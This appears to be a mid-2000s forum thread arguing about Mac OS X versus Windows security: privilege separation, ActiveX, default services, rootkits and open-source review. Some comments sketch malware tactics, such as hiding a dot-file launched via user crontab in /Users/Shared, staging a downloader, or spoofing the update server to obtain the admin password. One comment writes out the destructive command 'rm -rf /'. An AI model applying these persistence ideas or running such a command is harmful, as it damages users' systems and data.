My point is not that macs are safe - far from it, since most people keep their files as an admin level user and an exploit would destroy most of the stuff they care about. My point was that it's much harder for a virus to do damage without administrator priviledges, since admin is required to make it possible to infect (most) binaries including the core of the operating system. Yes, you could go about erasing all the user's files, but that's why I back them up as the root user. A virus cannot erase files it does not own, so it is potentially much less damaging than it would be in a typical Windows system where the user runs as admin (but as you say, a root exploit could do anything it wants).

    You also have the issue of virus startup - on Windows, it usually writes itself into the registry or corrupts a system file to start itself instead, which would be considered a root level exploit on UNIX. On macs, if it doesn't exploit root there are two ways to do this - get in one of the StartupItems folders (now all owned by root so you can't generally write to it, but way back in X.0 /Library/StartupItems was owned by the admin user but run as root, so a security flaw) or the user level crontab (otherwise only in scripts and executables, which technically makes it a variety of trojan). Since the virus can't write to StartupItems, it's stuck with crontabbing itself as a user. A UNIX admin should be able to remove such an exploit and may not even have to erase the user.

    Everything I've mentioned sof far would be detectable and removable. How about the 'new' scourge - rootkits - which can be installed by any user with admin privileges. On mac/UNIX you have to gain root access somehow, which likely requires the active participation of the victim. On Windows, 99+% of users run as administrators, so it's easy to backdoor install them (like through an activeX component or browser flaw) and it's next to impossible to detect or remove them.

      How about compromising a web browser on Windows? Getting in is a direct admin attack path (usually). All you can do on UNIX is exploit the browser user, not the entire OS.

    Then you have web servers - apache on mac runs its connecting processes as www, which has virtually no OS privileges. Every web server I've ever used on Windows has full admin privileges. Exploit apache on mac and your virus can do next to nothing (even web pages aren't owned by www, all it can do is read them). Exploit on Windows and you can do EVERYTHING.

    If I were writing a virus for mac and I didn't have a root exploit, I'd probably create it as a . file (invisible) and start it via crontab. The big problem there is where to put that executable to keep it from being erased like if the user's directory is deleted and restored. The tmp directories aren't guaranteed to keep files and there usually isn't a /usr/local, so maybe /Users/Shared? OTOH, I doubt most mac users make backups and know nothing about crontab, so if a good exploit location is found it would be easy to keep it going.

Re:Dead On

[Anonymous Coward]

Yes, it could probably download and compile the source.

It'd have a fair bit of trouble installing it though, what with unpriveliged user accounts.

Re:Dead On

[Anonymous Coward]

Read what he wrote.

1. Determine the type of the target system remotely.
2. Push a downloader stub for that platform into an exploit on that platform, and execute it.
3. Remote stub downloads entire malware (all versions) but executes correct version for target only.
4. Execute payload.

Re:Dead On

[Anonymous Coward]

Yes there are thousands more viruses for PCs. But lets say you want to write a virus. Would you want your hard work have the possibility to infect 5% of the worlds computers or 90%? I know what i would choose.

Point and case.

Re:Dead On

[Heembo]

I've said it here before: I'm a pretty good programmer, and I've been fighting viruses for years. Be glad I don't write the damned things; I could probably cripple the world. The same is true for any half-competant programmer with an interest in security.

You have to wonder. There are fewer virus' being written for Mac OX. There are also way less security researchers scruitinizing OSX compared to XP. I wonder if, in general, its much easier to "slip by, and keep slipping by" the OS X than XP. Hmmmmmmm.

Re:Dead On

[Macdude]

Right...this reminds me of an old Dilbert cartoon.

In the first pane, Dilbert and Dogbert are watching the news. From the newscast: "There hasn't been a murder in this town since 1978."

In the second pane, with the word "Optimist" floating over his head, Dilbert thinks "We're safe forever."

In the third pane, with the word "Pessimist" floating over his head, Dogbert thinks "We're due."

Well I guess in a black and white (i.e. cartoon) world if there is the slightest chance of a problem you have to be totally paranoid about it.

In the real world I'll be more careful of who I talk to and where I go in a town with a murder every 28 minutes than I an in a town with a murder every 28 years.

Re:Dead On

[mrraven]

XMilkProject said: "...and it's also fair to say that most of the 4% of OSX users are in very non-technical fields, and far less likely to be capable of the technical mischief"

On the contrary it's Windows that is not up the task of running in highly technical areas. The University of Virginia built the currently 20th fastest supper computer in the world out of essentially stock Mac Xserves see: http://www.top500.org/lists/2005/11/basic

How many Windows boxes are on the top 500 list, hint, zero because Windows is not a supper computer class operating system. The BSD based Darwin is a real Unix, it can run XII and in fact G5 powermacs are used in genetics research as a full fledged workstation, despite being a consumer "desktop" computer etc.

See for example: http://www.bio-itworld.com/products/041604_finch.h tml

http://www.macobserver.com/article/2004/01/13.4.sh tml

Microsoft does make a decent word processor I wrote this in word, that's about as "technical" as I'd like to get with M$ software.

Please do some research before you just spout off a troll M'K?

Re:Dead On

[Chrisje]

It's an older thread, but I'll reply anyhoo.

You wrote:

> Wabbachucha don't go to the bother of flying to the mainland to get their kids vaccinated when their has never been a single reported
> case of measles on the island

This is exactly how many natives of small islands around the world got killed. During the 17th and 18th century, the world (ie European colonists) came crashing into these places, and lo and behold all of a sudden the biggest threat to the island is something as stupid as the flu. It's how the Dodo got extinct, it's exactly why his analogy is not flawed.

Your analogy proved his point. All you need to do is open a history book.

Re:Dead On

[AliasTheRoot]

All of the Macs I admin have a copy of Virex on them, and it's pretty good about catching the infected emails and documents that occasionally find their way onto our network. Whilst the Viruses have no impact on our Macs, we'd rather not be sending them off to our partners and customers - it just looks unprofessional.

We update our virus dat files get updated weekly - they are the same ones as used in VirusScan on Windows.

Re:Dead On

[xouumalperxe]

I stand corrected on the (unfortunately) implied idea that OSX didn't have ACLs. Truth be told it was a jerk reaction to what sounded like yet another bit of NIX zealotry.

Re:Dead On

[ceoyoyo]

That's true, if you share files with PCs it's nice not to have infected stuff sitting around on your hard drive. The Word documents, yes. As for the e-mail though, why would you be spreading anything? You get an e-mail with a bad attachment, but why would you send that attachment on instead of deleting it? It can't send itself.

Re:Dead On

[AliasTheRoot]

We have client contracts worth many $$$, a simple $15 a seat license stops our users forwarding on some infested file. Money well spent imo, it costs near nothing to have and we don't have to deal with our clients going nuts at us - and potentially losing a contract.

We actually have a pretty good setup running, every comp authenticates against Open Directory - and noone outside of IT has admin access - so no sudo etc. Noone can write to the filesystem outside of their home and that is Filevaulted. All of the desktops have been built from a image that was prehardened along the lines of the Apple guidelines, and a lot of stuff is enforced at login time by a script.

Re:Dead On

[DeICQLady]

I see your point, but you have to consider this as well, someone coming to Wabbachucha from the mainland, who has measles... there goes (possibly) the entire island if no one bothered to get vaccinated. We've seen this happen before in the Caribbean, the Arawak and Caribs couldn't handle the virii and germs that came from Europe.

What the Wabbachucha-ians want to do is get the ones who run things involved, to see the danger and to get someone to bring over the vaccine.

My point - Mac users should be aware. Those of us who have migrated from platforms that are prone to these things should make sure our friends and family that we have convinced to switch maintain the habit of not opening suspicious emails, nado.

Re:Dead On

[kcarlin]

Speak of the devil, here is the latest on iTunes and Apple's latest change of direction.

Through the glass darkly

[nkntr]

It isn't so much that there aren't as many security holes in OSX and Linux (as well as other OS's), but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

Re:Through the glass darkly

[Anonymous Coward]

>but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

Really? OS X has been out for 6 years now, and there are *still* no viruses for the platform. Can that really be because there's no one trying? Surely there's a boatload of h4x0r cred to be earned by being the author of the first OS X virus....

Re:Through the glass darkly

[A beautiful mind]

On the contrary. Linux is open source, therefor more people are looking to find bugs / rewrite code.

If enough eyes are looking, all bugs are shallow, that is the open source mentality. That is precisely the good thing about open source.

Re:Through the glass darkly

[dal20402]

Actually, it's both. (Lower marketshare and a safer OS, that is.)

Just to name some of the obvious... OS X can't use ActiveX, it's actually useful when you run a non-administrator account, it doesn't come with Swiss-cheese services enabled by default, it doesn't automatically trust machines on its own subnet, and there's no real equivalent on it to VB scripting.

With that in mind, I absolutely agree that Mac users are too smug and that a dedicated malware author could bring many of us to our knees. (Hell, I run as administrator just to save time, despite knowing the risks. It's a gamble, although I keep good backups.) But an OS X (or Linux) malware author would have to be much more skilled than most Windows-targeting skript kiddies to do a lot of damage.

In today's real world, if you run a Mac (or Linux), you're going to suffer far less than your average Windows user. If you use an out-of-the-box Mac to do typical home-user tasks, which probably include visiting shady corners of the Internet, you won't have the spyware infestations you would with an out-of-the-box Windows box. And most of the routine worms out there have no effect on a Mac.

Re:Through the glass darkly

[nkntr]

True, to a point. The open source community is looking at Linux with the specific intent to make it better. There are thousands of people, on the other hand, that are foaming at the mouth (many who also are in the open source community) spending lots of time pouring over Microsoft products, just dying to be the next guy who can say "nyanyanyanyanyanya, Microsoft sucks!" and expose another weakness. The difference is that Linux fundamentally improves feature and stability wise, but not necessarily as much security wise. Sure, bugs are caught, but I assure you, 10000 times the effort is put into finding holes in Microsoft's code. Of course, the logical conclusion of this practice is that eventually, with all the help, Microsoft will truly be a very secure operating system, which is exactly opposite of the intent, I am sure.

Re:Through the glass darkly

[nkntr]

Don't kid yourself. I remember when I was a kid, I thought that my BB gun had to be the best, most accurate, and most deadly gun in the world. Of course, I never actually did any real comparisons...

The fact of the matter is, it does not fit the psychy of the average virus writer to go after Mac... Virus writers are after the most bang for their effort, and it logically follows that WIntel products will be the brunt of their efforts (in the same line, I doubt you will find much graphitti on the INSIDE of water towers, even if graphitti artists could get in), and second, most Mac users use a Mac so that they don't HAVE to be technical, so writing a virus is out of their scope in the first place.

Re:Through the glass darkly

[Anonymous Coward]

10000 times the effort is put into finding holes in Microsoft's code

Cool. While we're plucking numbers out of our arses, it is a scientific fact that trying to find code flaws is 100000 times harder when you don't have access to the source code in the first place, so I guess it all evens out, or something.

Re:Through the glass darkly

[A beautiful mind]

"Sure, bugs are caught, but I assure you, 10000 times the effort is put into finding holes in Microsoft's code."

I'm not too convinced. Have you ever seen how much effort is to find a hole in the Linux kernel?

It's pretty damn hard even with the source code there.

Compare a linux exploit to a windows one. Most likely the linux one will be one where you have to jump through twenty hoops to exploit the system. On the other hand with windows the difficulty is discovering the flaws, but the flaws themselves aren't that sophisticated (most of the time).

Exploitable bugs are rarer in the linux kernel, than in windows, and because of a good reason: the source code is good, literally.

Re:Through the glass darkly

[Just Some Guy]

but that there aren't the hoardes of people gunning to find them like there are in Microsoft (aka the evil empire) products.

That's the same reason there haven't been massive exploits for Apache. Even though it has over two-thirds market share, every script kiddie loves F/OSS to the point that they'd never attack it, ever. Same for Internet Explorer - it's only attacked more often than Firefox because it has a bigger market share and every cracker on the planet just plain loves Firefox.

Right.

In the real world, there's a lot of street cred to be earned by being the first to 0wn a network of Macs, and yet no one - not one single cracker anywhere - seems to be up to the challenge. Gee, what terrific luck on Apple's part!

Re:Through the glass darkly

[ioErr]

The fact of the matter is, it does not fit the psychy of the average virus writer to go after Mac

The thing about averages is that not everyone conforms to them. You'd expect at least a few of these virus writers at the outer end of the bell curve to aim for the Mac, wouldn't you?

Most Mac users use a Mac so that they don't HAVE to be technical, so writing a virus is out of their scope in the first place

Of the big OSes the one with the highest concentration of technical users would be Linux, right? Funny how we don't see many viruses for Linux either.

Re:Through the glass darkly

[Mr. Underbridge]

it's actually useful when you run a non-administrator account,

True, but updating it requires frequent enough use of the admin password that users get used to putting in the password when prompted. To me, the one easy way to hack a mac would be to do a man-in-the-middle or similar upstream, and pretend that you're the Update server. One would replace an actual update with an attack, which would be installed on the system when the user is prompted for the password.

But an OS X (or Linux) malware author would have to be much more skilled than most Windows-targeting skript kiddies to do a lot of damage.

I wonder about that - not more skilled, I think, but more creative. One would just target the weakest link in the security chain, which would be the user in this case. As above, trick them into giving the admin password. Don't hack the system, hack the user. I'm sure you've seen the studies on how many users will give away their paswords at the drop of a hat.

In today's real world, if you run a Mac (or Linux), you're going to suffer far less than your average Windows user.

Yes, but that's little comfort if you DO get hacked. No one's saying that Windows is safer than Mac, just that Macs aren't immune.

Re:Through the glass darkly

[vmardian]

No one is saying that Mac are immune, either.

Re:Through the glass darkly

[peragrin]

Even an adminstrator can't modify system settings without a password though. I run as adminstrator and I am asked all the time for a password for installions via the installer.

Regular apps they are drag and drop. but I can't type
rm -rf /

and have it destroy my computer. it will ask for a password first. My user files might be gone, a few applications that have my username with them but that's it.

Re:Through the glass darkly

[zootm]

there's no real equivalent on it to VB scripting.

Doesn't it ship with Python? At the very least bash scripts are equivalent in a fairly functional way. Trusting silly scripts is required, and dumb, but in the most cases this is required on Windows too.

Also, ActiveX isn't really a security problem these days either. I've heard its infrastructure was pretty dumb for a while, but in its current incarnation I've not seen it to be much less safe than the equivalents in other (particularly browser) software.

As you mention, the main benefit of OSX (and other fairly sensible OSs) is damage limitation. Although Windows has a perfectly servicable security infrastructure, it's simply not used by default, not insisted-upon. Some applications require administrator privileges. This is the biggest problem — particularly since SP2 (and it's shocking that it took that long to get it right, but it's a great deal safer now), XP is not a significantly less secure target for attacks than its competitors. The problem is that the scope of damage that's available to the attacker without specifically prompting the user (which history has shown does work, which is a problem with just about everything) is just much, much greater.

There's always the argument that on a single-user machine (the only scenario that a Windows user should really be running as administrator, barring the requirement of an Administrator-only application that's required) that trashing the user account is effectively as bad as trashing the whole system, but this isn't a hugely convincing argument when it's basically covering up a pretty serious, fundamental flaw.

Re:Through the glass darkly

[peragrin]

You can hack an OS X box just as easily as you can a linux box. Just find an open SSH port and brute force it. That's typically how a linux box get's rooted.

The point though is that it's a hell of a lot harder to get in the front door. With windows you can visit a web site and lose yor machine. With Linux, OS X the worst that could happen that way is a destroyed user account.

Re:Through the glass darkly

[NutscrapeSucks]

> there's no real equivalent on it to VB scripting.

First of all, VB scripting is not a major win virus vector.

Second, AppleScript.

Re:Through the glass darkly

[mslinux]

...and there's no real equivalent on it to VB scripting.

Python is very much like VB on Windows and on Mac. It's installed by default on OSX. Don't kid yourself. Python could be used to scritp a devestating virus on Mac OSX.

Re:Through the glass darkly

[glesga_kiss]

I've never been convinced by the "many eyes" argument. It's hard enough to get coders to review each others code in the office where they are getting paid. How many people actually code-review OSS stuff in reality?

To me, the advantage here has always been the availability of a quick patch. Not code that's inherently more secure due to it's license model.

Re:Through the glass darkly

[xouumalperxe]

but no news headlines

Re:Through the glass darkly

[Anonymous Coward]

I'm not too convinced. Have you ever seen how much effort is to find a hole in the Linux kernel?

Surely you're kidding or uninformed. Let's see... in Fedora Core 4 from 1 July 2005 to today, there have been 7 security related kernel releases. Compared to the Windows kernel with about zero in the same time period, the Linux kernel has a pretty poor track record.

Re:Through the glass darkly

[Dionysus]

If enough eyes are looking, all bugs are shallow, that is the open source mentality. That is precisely the good thing about open source.

Shallow bugs are a myth. There aren't enough eyes, and not all eyes are of the same quality. There have been bugs and exploits in Linux that have been laying dormat for years.

Re:Through the glass darkly

[steeviant]

To me, the one easy way to hack a mac would be to do a man-in-the-middle or similar upstream, and pretend that you're the Update server. One would replace an actual update with an attack, which would be installed on the system when the user is prompted for the password.

You're not the first person to think of that, and there was an actual OS X issue relating to what you're talking about. They've since covered that angle by cryptographically signing all updates so that a man in the middle attack would fail.

Any system of automatic updates is vulnerable to this method of attack. As I understand, Microsoft also use cryptographic signing as do some Linux distributors.

I wonder about that - not more skilled, I think, but more creative. One would just target the weakest link in the security chain, which would be the user in this case. As above, trick them into giving the admin password. Don't hack the system, hack the user. I'm sure you've seen the studies on how many users will give away their paswords at the drop of a hat.

If malware can't spread automatically without some form of user input it means that a worm like those that have been most devastating in the Wintel world can't happen. When a malware writer not only has to figure out how to replicate, but how to reliably escalate privileges in order to do so, it does increase the difficulty (which in turn reduces the number of people capable) of writing malware.

Yes, but that's little comfort if you DO get hacked. No one's saying that Windows is safer than Mac, just that Macs aren't immune.

Getting "hacked" is different than getting automatically infected with a worm because of a built in service that by default always listens on the internet and that there is no obvious way to disable. There's no chance of that happening on the Mac because there are no services enabled by default, and those included by Apple can all be turned on or off with checkboxes in the same preference dialog.

Re:Through the glass darkly

[Mr. Underbridge]

First, I agree with what you said, windows is less secure, etc. But it's a matter of complacency. Any Windows user who can distinguish a computer from a tire knows that Windows is insecure, and probably (hopefully) secured his/her box. On the other hand, few Mac owners have.

Second, I wonder whether it really would be impossible to spread a Mac worm. Guess we'll see. For what it's worth, I am a Mac owner, so it's not a case of envy here.

Re:Through the glass darkly

[Anonymous Coward]

Unless you're posting to /. from a quantum computer, good luck brute-forcing a 4096 bit RSA key.

Re:Through the glass darkly

[d34thm0nk3y]

On the contrary. Linux is open source, therefor more people are looking to find bugs / rewrite code.

If enough eyes are looking, all bugs are shallow, that is the open source mentality. That is precisely the good thing about open source.

Just how many core Linux developers are there? Compare this to the hordes of clever yet evil people trying to take advantage of Windows to make a quick buck. Which group has more eyes again?

Re:Through the glass darkly

[xenoterracide]

uh huh.... because microsoft doesn't look for hole's and they only close them once they're found. sure those security holes are there. they fix them as quickly as possible, but in the mean time everyone know's they're there. making it very hard to infect. because we know about it. I suggest you look at this. http://en.wikipedia.org/wiki/Linux_computer_viruse s> and this. http://www.symantec.com/avcenter/vinfodb.html> and tell me which is more secure linux or windows.

Re:Through the glass darkly

[xenoterracide]

let all those clever eyes look at the windows market... because there are more eyes in linux looking to close our security holes before they can get exploited than at microsoft or apple. or probably M$, McAfee, Symantec, Apple etc... combined.

Re:Through the glass darkly

[xenoterracide]

oh and fedora core isn't vanilla-sources they create there own holes by modding the original kernel. I believe. I don't use red hat products so correct me if i'm wrong.

Re:Through the glass darkly

[tbone1]

Any Windows user who can distinguish a computer from a tire knows that Windows is insecure,

You wouldn't say that if you knew some of the people in this office. Then again, to quote Bobcat Golthwaite, "If I showed you a doughnut, a mop, and a v*gina, could you pick it out of a lineup?"

Re:Through the glass darkly

[Anonymous Coward]

Yah!!!
OSS and Linux in particular has a big advantage that proprietary software will never get a whiff of --- very smart people doing security for the LOVE of it.

All the people at Redmond (and Apple for that matter) 'WORK' for their companies to get paid in order to live and arent the best talent or as 'into the job' as OSS lunatics are.

Remember those words next time your Mac goes down with one of the 40 viruses out there ;)

Re:Through the glass darkly

[evought]

It's not so much a matter of hundreds of people formally reviewing code, though that, in fact does happen sometimes. The big thing is that to contribute to an OS project, you have to learn the existing system. That means at least several days staring at the code to figure out what the $%&#$$!! they were thinking. Sometimes it makes sense finally, some times it doesn't. When it does not make sense, newbies ask 'stupid' questions, and many times those questions end up uncovering flaws.

Surpisingly, even mass formal review of OS code happens. OS projects are often used as teaching tools. I have assigned interns to formally review OS code before and I know others who do as well. Further, some businesses or agencies who depend on certain OS products also formally review the code on a regular basis. These are often programming groups who are funded to contribute to an outside project and have to meet their own process requirements.

Re:Through the glass darkly

[99BottlesOfBeerInMyF]

Doesn't it ship with Python? At the very least bash scripts are equivalent in a fairly functional way. Trusting silly scripts is required, and dumb, but in the most cases this is required on Windows too.

Yes it ships with a number of scripting languages. The differences are nothing auto-executes scripts, privilege escalations are non-trivial, and users are warned when downloading anything that may execute and again the first time they try to execute something. Even then, most users are not root, so it requires a password to install a rootkit.

Also, ActiveX isn't really a security problem these days either.

Hahahahahahahahahaha! Whew. That's a good one.

As you mention, the main benefit of OSX (and other fairly sensible OSs) is damage limitation.

This is in no way true. Most exploits are via worms that execute without user intervention. The next largest chunk are viruses that execute by tricking the user into thinking they are data. The third largest chunk are data that is malformed and auto executes on a web page or in an e-mail or IM. The fourth largest chunk is a trojan masquerading as a desired application. The first is due to a whole lot of unnecessary, exposed services in Windows (Think RPC, yeah we need a network service for the system to run local programs, brilliant!). OS X does not, and has never shipped with a bunch of exposed services. As the the next vector, OS X warns the user when executables tries to masquerade as data when being downloaded and when clicked. For the third vector, this is mostly nullified by network applications that do not mingle code with the subsystem and by the warning the first time executables are run. This only leaves trojans masquerading as applications. This is the only type where OS X's damage control figures in, and hopefully Apple will implement default jails or VMs for new applications by default (as some BSD distributions are looking at) and ameliorate this problem as well.

Sure running as administrator is part of the problem, but it is not the biggest part, especially given the numerous unpatched local privilege escalations available on Windows. Both of those problems would need to be fixed to have any real affect and fixing the other flaws I mentioned are more important to preventing exploits.

Re:Through the glass darkly

[steeviant]

Second, I wonder whether it really would be impossible to spread a Mac worm. Guess we'll see. For what it's worth, I am a Mac owner, so it's not a case of envy here.

It's not impossible, just one more thing to overcome. Local/Remote privilege escalation exploits come along reasonably often in the grand scheme of things. All I was saying is that it would be impossible for a worm to spread automatically like the worst windows worms if the worm needs to ask the user for their password.

There are still a few issues to deal with regarding privilege escalation exploits though;

Security holes that allow privilege escalation are considered high-priority, and are usually patched or mitigated quickly after being discovered for obvious reasons. So a programmer has to strike quickly to take advantage of the window of opportunity offered by the exploit. Especially since most OS X users are up to date with their patches.

So a successful malware author trying to attack any Unix system with a worm that will propagate automatically... has to find a way to enter a system, reliably escalate their own privileges, have their malware install and execute itself, and find other systems to infect. They have to be able to make the software in a short timeframe, and have to release the software in some way that will cause it to start propagating immediately.

A lot of the steps mentioned above just aren't neccessary in Windows, since everyone runs at the highest security level so that they can install software, finding systems to infect is much easier, most Windows users are complacent about security which makes finding vulnerable peers much easier, even before taking numbers into consideration.

I don't think I know anyone with the neccessary skill set to release an OS X virus at the moment, Dashboard seems a potential malware breeding zone though.

There will no doubt be an OS X virus one day, but I wouldn't hold my breath waiting for it to spread like wildfire and bring corporate networks to their knees. :D

Re:Through the glass darkly

[Peganthyrus]

But isn't it off by default?

I mean, people are commenting all over this thread, "you can hack an OSX box easily if you do this", but forgetting that OSX ships with all this stuff off by default.

Whereas your average Windows machine ships with a firewall that's off by default, and a whole ton of services on. I just helped my mother wipe a new Windows laptop machine clean, and I was amazed by how open all the defaults were. Just this is why OSX is "inherently more secure than Windows" - it ships pretty closed, and if you need something, you open it up, as opposed to leaving everything wide open and hiding the switch to turn it off somewhere obscure!

Re:Through the glass darkly

[zootm]

OS X does not, and has never shipped with a bunch of exposed services.

Wasn't OSX previously criticised for just that? Also, clarification (rather than laughter) would be nice on the ActiveX issue (it's not something I've looked into personally, but this is something I have heard from several people, not friendly to Windows, who know more about security issues than myself - any more information would help me get the last laugh in the pub, which would be great, cheers).

Windows no longer ships with exposed services, and I think we all know that was really, really fucking dumb in the first place, though, yes.

Worm-style exploits are high-profile, but in general, in particular since SP2, there's not a lot more in Windows to allow this sort of attack. Also, sorry to skip back, but:

The differences are nothing auto-executes scripts,

Good point, but on Windows since SP2 warnings are generated for scripts being run (correct me if there's exceptions to this).

privilege escalations are non-trivial,

Only the case on Windows if the user is running as Administrator. Which they often are. But I did mention this in my previous post (in the part you mention later).

and users are warned when downloading anything that may execute and again the first time they try to execute something.

This is the case on Windows, since SP2 (unless applications specifically override this behaviour, which I assume it is possible to do on OSX?).

Even then, most users are not root, so it requires a password to install a rootkit.

Damage limitation again, but yes.

Re:Through the glass darkly

[epee1221]

In the real world, there's a lot of street cred to be earned by being the first to 0wn a network of Macs, and yet no one - not one single cracker anywhere - seems to be up to the challenge. Gee, what terrific luck on Apple's part!
I bet it's been done before. Scratch that. I've seen it done before. But how many people talk about hacking Macs?

Re:Through the glass darkly

[99BottlesOfBeerInMyF]

Wasn't OSX previously criticised for just that?

If so, it was by people without a clue. OS X has never shipped with unnecessary, exposed services.

Also, clarification (rather than laughter) would be nice on the ActiveX issue

ActiveX is basically a way to run random code on your machine, from a website, without the user being asked, and without a proper VM or jail. This is not a "good idea." They have made ways to turn it off (but it is not off by default). They have built a whole series of ACLs to try to restrict it differently on different sites. They have proclaimed this "fixed" more times than I care to recall. That does not change the fact that it is a fundamentally insecure idea and a huge liability. Don't be surprised when ActiveX is part of yet another security exploit.

Windows no longer ships with exposed services, and I think we all know that was really, really fucking dumb in the first place, though, yes.

Windows does ship with many exposed services. The current incarnations also ship with a software firewall on to "cover over" these services. This is not the same thing. By default Windows still runs RPC on the network, even when not needed. Having a software firewall is some protection, but there are windows of opportunity during boot and the possibility of taking down the firewall. As usual MS has not done it right (like everyone else has) they have just tried to make it barely good enough to be less of a problem.

Worm-style exploits are high-profile, but in general, in particular since SP2, there's not a lot more in Windows to allow this sort of attack.

Yes there is. Extra services, poorly secured services, and web browser code mingled with the core OS all provide opportunities for automated exploits.

Good point, but on Windows since SP2 warnings are generated for scripts being run (correct me if there's exceptions to this).

How about when default applications automatically fetch remote images? How about when default applications automatically run scripts due to flaws (outlook). I don't have an SP2 machine in front of me right now. Last time I used an XP box nothing warned me when I downloaded an .exe or a .jpg.exe file using IE. Nothing warned me the first time I ran a .exe file. Is this no longer the case?

Only the case on Windows if the user is running as Administrator. Which they often are.

No, in all cases. Googling for "Windows local escalation exploit" returns hundreds of thousands of hits. The first one for me was an unpatched exploit that allows a non-admin user to run code as admin. They even included the script for me to execute. MS has not been bothering to fix any of these partly because everyone runs as admin anyway. You have to fix both of these separate issues to make any difference.

This is the case on Windows, since SP2 (unless applications specifically override this behaviour, which I assume it is possible to do on OSX?).

What?!? I'm talking about the OS. When you try to write any executable file to disk and when you execute any executable file that has not been executed before it warns you. If this behavior does not apply across everything it is a lot less useful. So if I install an FTP client on XP-SP2, you're telling me I get a warning when I download a .exe, .pl, or .vb file? Because if you are, it is news to me.

Basically you have focused all of your attention on one security limitation of Windows without addressing the myriad other problems. Fixing one problem will help, but it won't make much difference in the long term. You have to close and lock all the doors. There is a lot of information on Windows security flaws available online. Google is your friend.

Re:Through the glass darkly

[zootm]

ActiveX is basically a way to run random code on your machine, from a website, without the user being asked, and without a proper VM or jail.

The plugin architecture in Mozilla, off the top of my head, also meets these criteria, except the "without the user being asked" requirement (which hasn't been the case for a long time).

A jail would be good, yes, but picking ActiveX over the Mozilla (for example) plugin layer here doesn't make a good point. I will assume that Safari (which I don't really know the system behind beyond some of the KHTML stuff) has a better system for this though.

Last time I used an XP box nothing warned me when I downloaded an .exe or a .jpg.exe file using IE. Nothing warned me the first time I ran a .exe file. Is this no longer the case?

The first part is fixed, the second part is "sort of" fixed (it warns you from the downloading program if you invoke the program from there, if you were to save it and then run it — which would require your direct knowledge that you were doing this — it does not warn you).

What?!? I'm talking about the OS. When you try to write any executable file to disk and when you execute any executable file that has not been executed before it warns you. If this behavior does not apply across everything it is a lot less useful. So if I install an FTP client on XP-SP2, you're telling me I get a warning when I download a .exe, .pl, or .vb file? Because if you are, it is news to me.

Interesting. I don't think it's a behaviour that's replicated on Windows, no (I know it's not replicated on any other system I've seen, and I've not used OSX for long enough to see it in action, so I got a bit confused there).

Basically you have focused all of your attention on one security limitation of Windows without addressing the myriad other problems. Fixing one problem will help, but it won't make much difference in the long term. You have to close and lock all the doors. There is a lot of information on Windows security flaws available online. Google is your friend.

Having looked through Google for flaws, I have learned that a default install of XP SP2 is safe enough for everyday use. Most things people can be hit with now are caused by people clicking through warning screens, which is essentially a large problem with most systems. The worm problem you mention before is not so much of a problem any more, since the firewall (not the best of solutions, no, but it works) stops exposed services and is enabled by default. Also, the problems you mention with default applications (which I admit I don't use, because they're generally awful) were patched years ago.

I wasn't trying to say that OSX was as insecure as Windows, though. Calm. :)

Re:Through the glass darkly

[99BottlesOfBeerInMyF]

The plugin architecture in Mozilla, off the top of my head, also meets these criteria, except the "without the user being asked" requirement (which hasn't been the case for a long time).

There is a distinct difference between being asked if you want to install a new component to your web browser and a built in "run random code" feature. By default, Mozilla does not ship in such a state that random plugins from remote sites are executed. There is no need for this functionality at all. If a Web site wants to execute random code they can do so on their server or in a virtual machine you run with limited access to the rest of the system. Anything else is an architectural flaw.

Having looked through Google for flaws, I have learned that a default install of XP SP2 is safe enough for everyday use. Most things people can be hit with now are caused by people clicking through warning screens, which is essentially a large problem with most systems. The worm problem you mention before is not so much of a problem any more, since the firewall (not the best of solutions, no, but it works) stops exposed services and is enabled by default.

If you think the problems are fixed, you're fooling yourself. Security problems in Windows, even with SP2 are haphazardly patched. They might be "good enough" to last while there are plenty of older systems to compromise, but it will not last in the long run. After years of work MS has still not managed to reach even the moderate level of security offered by an OS X or Linux install. There is a long way to go before any system has the user as the weakest link, but Windows is still, by far, the least secure and worm authors will find ways to exploit it. Your faith in SP 2 is badly misplaced.

Re:Through the glass darkly

[zootm]

There is a distinct difference between being asked if you want to install a new component to your web browser and a built in "run random code" feature.

ActiveX components must be accepted by the user as a browser plugin, and there are a number of large, nasty-looking warning screens associated with this. I'm not sure what you mean about "run random code" functionality (I have not used IE in some years so I'm not that familiar with ActiveX, but I do know that ActiveX components have to be accepted by the user before their use). Is there some other mode?

They might be "good enough" to last while there are plenty of older systems to compromise, but it will not last in the long run.

I agree, but there is apparently great improvements to this in Vista. That, of course, remains to be seen, and of course XP will continue to be used for a long while afterwards. But, as you mention, these changes are fairly fundamental, and they would be breaking changes to XP. MS have shown an unwillingness to make changes to their system which will break backwards compatibility, and I can only hope that this trend changes with Vista to allow better security systems to be introduced.

Your faith in SP 2 is badly misplaced.

My "faith" is based upon the fact that the state of the system, at present, is good enough for me to use every day with a good assurance against compromise. I do not feel any safer on my FreeBSD box than on my Windows one, because there are no current problems which would affect me that would not require my interaction, and I'm a skilled-enough user to be cautious for such things.

I'm not everyone, though, no.

he's nearly right...

[Anonymous Coward]

Mac users are too smug about... everything ;]

Re:he's nearly right...

[FidelCatsro]

That's because we are better than you , Better lovers , Smarter , better built and more charisma ..

Re:he's nearly right...

[tpgp]

That's because we are better than you , Better lovers , Smarter , better built and more charisma ..

Don't forget better at punctuation. ;-)

Oh - and as for your 'Smarter' claim, have a look at this report about an iPod school.

Re:he's nearly right...

[Paradise Pete]

have a look at this report about an iPod school.

I notice there weren't any iPod schools until it became available to Windows users... ;-)

Re:he's nearly right...

[kid zeus]

An iPod's an Apple, not a Mac. A Mac is an Apple computer. So I guess our king-of-I.Q. status is still safe;)

Re:he's nearly right...

[Anonymous Coward]

That's because we are better than you , Better lovers , Smarter , better built and more charisma ..

... and, of course, Designed by Steve Jobs®

Re:he's nearly right...

[Anonymous Coward]

You would think , but being Jewish they removed my Turtle neck .. So I am not a Steve Jobs model .

Re:he's nearly right...

[Anonymous Coward]

That's because they typically have larger penises than their Windows based counterparts.

Re:he's nearly right...

[just_another_sean]

You forgot modest.

Re:he's nearly right...

[Anonymous Coward]

Better lovers

your right hand doesn't count.

better built

see previous answer.

Re:he's nearly right...

[Tibor the Hun]

Not only that. MS users *listen* to White Stripes, but we, we *get* the White Stripes.

Re:he's nearly right...

[Overly Critical Guy]

And fully podcast-enabled!

Re:he's nearly right...

[lee1026]

This is supposed to be insightful?

Re:he's nearly right...

[Anonymous Coward]

Don't forget more attractive!

Re:he's nearly right...

[FidelCatsro]

Not at all.. I was joking (not that it isn't true .. I kid I kid)

